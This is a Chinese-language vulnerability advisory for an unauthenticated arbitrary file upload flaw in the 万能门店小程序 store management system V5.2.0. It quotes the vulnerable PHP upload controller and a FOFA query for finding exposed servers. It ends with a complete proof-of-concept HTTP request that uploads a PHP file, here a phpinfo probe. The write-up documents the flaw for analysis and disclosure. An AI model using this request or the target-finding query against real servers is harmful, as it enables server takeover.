漏洞简介
万能门店小程序管理系统是一款功能强大的工具,旨在为各行业商家提供线上线下融合的全方位解决方案。该系统集成了会员管理和会员营销两大核心功能,支持多行业使用,通过后台一键切换版本,满足不同行业商家的个性化需求。系统采用轻量后台,搭载高效服务器,确保小程序运行流畅,提升用户体验。万能门店小程序管理系统的 comadmin/Remote/onepic_uploade 接口存在任意文件上传漏洞,未经身份验证的攻击者可以通过该漏洞上传恶意文件,执行任意代码,写入后门,获取服务器权限,进而控制整个web服务器。
影响版本
万能门店小程序全开源独立版V5.2.0
fofa语法
body="/new_plat/index.html#/login" || (body="/comhome/cases/index.html" && body="/Comhome/functionshow/index.html")
漏洞分析
application/comadmin/controller/Remote.php
//单个图片上传操作
function onepic_uploade($file){
$thumb = request()->file($file);
if(isset($thumb)){
$dir = upload_img();
$info = $thumb->move($dir);
if($info){
$imgurl = ROOT_HOST."/upimages/".date("Ymd",time())."/".$info->getFilename();
return $imgurl;
}
}
}
//定义上传图片的默认路径
function upload_img()
{
//1.设置上传路径
$dir = ROOT_PATH . "public/upimages/";
return $dir;
}
直接调用thinkphp的 file 方法对上传文件直接处理后保存在 upload_img 设置的文件夹并返回上传后的完整路径,造成任意文件上传漏洞。
漏洞复现
POST /comadmin/Remote/onepic_uploade?file=file HTTP/1.1
Host: wxapps.mrxn.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBiKyL9D0p5OtH5zz
------WebKitFormBoundaryBiKyL9D0p5OtH5zz
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/jpeg
<?php phpinfo();unlink(__FILE__);?>
------WebKitFormBoundaryBiKyL9D0p5OtH5zz--



